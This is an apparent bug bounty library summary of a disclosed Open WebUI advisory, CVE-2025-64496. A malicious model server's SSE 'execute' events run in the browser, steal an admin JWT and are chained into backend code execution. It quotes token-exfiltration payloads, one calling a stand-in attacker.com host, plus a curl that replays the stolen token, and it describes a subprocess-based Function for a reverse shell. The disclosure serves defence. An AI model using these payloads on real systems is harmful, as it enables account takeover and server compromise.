# Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events

Malicious OpenAI-compatible model server returns SSE `execute` events that Open WebUI's frontend runs via `new Function()`, stealing admin JWT and enabling backend RCE.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: vitalysim
- Disclosed: 2025-11-07
- CVE: CVE-2025-64496
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cm35-v4vp-5xvx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-cm35-v4vp-5xvx
- Tags: area:ai domain:ai domain:web impact:ato impact:rce kind:research platform:ghsa sev:high tech:llm technique:chained vuln:account-takeover vuln:rce vuln:secrets-leak vuln:xss

**Target:** Frontend SSE event handler for external model connections
**Root cause:** The frontend SSE handler processes `execute` event types from untrusted external model servers and runs their `data.code` through `new Function()` with no event-type whitelisting, trust validation, or sandboxing.
**Steps:**
1. Deploy a malicious OpenAI-compatible server that responds to `/v1/chat/completions` with an SSE stream containing `data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}`
2. Admin enables Direct Connections in Admin Panel → Settings → Connections and adds the attacker's Base URL (e.g. `http://host.docker.internal:8000`)
3. Victim selects the model and sends any message (e.g. `Hello`)
4. Frontend executes the injected code via `new Function(event.data.code)`, exfiltrating `localStorage.token` to the attacker listener
5. Attacker replays the JWT against `/api/v1/auths/` to confirm admin privileges
6. Attacker POSTs a malicious Function to `/api/v1/functions/create` whose `__init__` runs `subprocess.check_output(...)`, achieving RCE via `exec` in plugin.py
**How found:** Researcher inspected the frontend SSE handler for external model connections and noticed an `execute` event type dispatched to `new Function()`, then built a malicious OpenAI-compatible server to confirm the event reaches the browser and executes.
**Exploitation:** Attacker social-engineers admin into enabling Direct Connections and adding a malicious model URL. On first chat message the malicious server returns an SSE `execute` event; the frontend runs it, exfiltrating the non-expiring JWT from localStorage. The stolen admin token is then used to create a Function/Tool containing arbitrary Python, which the backend `exec`s, yielding command execution or a reverse shell.
**Escalation:** Stolen admin JWT is chained into the Functions/Tools API (exec in plugin.py) to escalate browser XSS/token theft into backend RCE and reverse shell.
**Insight:** When a product ingests SSE/streaming events from user-supplied upstream servers, enumerate every event `type` the client handles — control-plane event types like `execute`/`eval` are the high-value ones, not just message content.

## Proof of concept (copied exactly from the original report)

**SSE execute event with exfil fetch code**

```
[!] Sending malicious execute event:
{
  "event": {
    "type": "execute",
    "data": {
      "code": "await fetch('http://localhost:8081/leak?token=' + encodeURIComponent(localStorage.token))"
    }
  }
}
[✓] Malicious payload delivered successfully
```

**Token verification curl request**

```
curl -H "Authorization: Bearer $(cat stolen_token.txt)" \
     'http://localhost:3000/api/v1/auths/'
```